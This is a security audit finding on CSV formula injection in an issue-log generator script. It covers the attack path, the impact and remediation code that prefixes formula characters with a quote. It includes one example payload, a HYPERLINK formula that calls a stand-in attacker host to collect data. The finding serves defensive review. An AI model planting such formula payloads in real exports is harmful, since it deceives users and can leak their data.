T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/generate_issue_log.py:15
- Finding
- CSV Formula Injection in Generated Issue Logs## Vulnerability Details **File Location**: `scripts/generate_issue_log.py`, lines 15–16 **Vulnerability Type**: CSV formula injection **Risk Level**: Medium ### Vulnerable Code ```python for issue in issues: w.writerow({k: issue.get(k, "") for k in w.fieldnames}) ``` ### Technical Analysis The script copies user-controlled values from the input JSON directly into CSV cells without neutralizing spreadsheet formula prefixes such as `=`, `+`, `-`, or `@`. CSV quoting performed by Python's `csv` module provides structural CSV escaping, but it does not prevent spreadsheet software from interpreting cell contents as formulas. An attacker who controls any `title`, `category`, `severity`, or `fix` value can therefore place a spreadsheet formula in the generated issue log. For example, an input field could contain: ```text =HYPERLINK("https://attacker.example/collect","Open") ``` When the CSV is opened in a spreadsheet application, that application may interpret the value as a formula rather than inert text. Exact behavior depends on the spreadsheet product and its security configuration. ### Attack Path 1. An attacker prepares or influences an issues JSON file containing a formula-prefixed value in one of the supported fields. 2. The user invokes `generate_issue_log.py` with that JSON file. 3. The script reads the value and writes it unchanged into the output CSV. 4. The user or another recipient opens the generated CSV in spreadsheet software. 5. The spreadsheet interprets the attacker-controlled cell as a formula. 6. Depending on the application and security configuration, the formula may display a deceptive link, initiate an external request, expose data through formula behavior, or trigger other application-specific actions. ### Impact Assessment Successful exploitation occurs in the context of the user who opens the CSV, not under elevated privileges obtained directly by the Python script. Potential impact includes: - Deceptive links or spreadshe ...[truncated 557 chars]
- Remediation
- ## Remediation Suggestions Sanitize every value before passing it to `csv.DictWriter`. Treat cells beginning with `=`, `+`, `-`, or `@` as potentially executable spreadsheet formulas and prefix them with a single quote so spreadsheet applications interpret them as text. A possible hardening approach is: ```python FORMULA_PREFIXES = ("=", "+", "-", "@") def sanitize_csv_cell(value): if value is None: return "" value = str(value) if value.startswith(FORMULA_PREFIXES): return "'" + value return value for issue in issues: w.writerow({ key: sanitize_csv_cell(issue.get(key, "")) for key in w.fieldnames }) ``` Additional hardening measures: 1. Validate that the top-level JSON value is a list and that every entry is an object. 2. Enforce expected types and reasonable length limits for all fields. 3. Document that input JSON must be treated as untrusted. 4. Warn users against opening unsanitized exports in spreadsheet applications. 5. Add regression tests covering values beginning with `=`, `+`, `-`, and `@`. 6. Test the resulting CSV in supported spreadsheet applications to confirm that sanitized fields are displayed as literal text.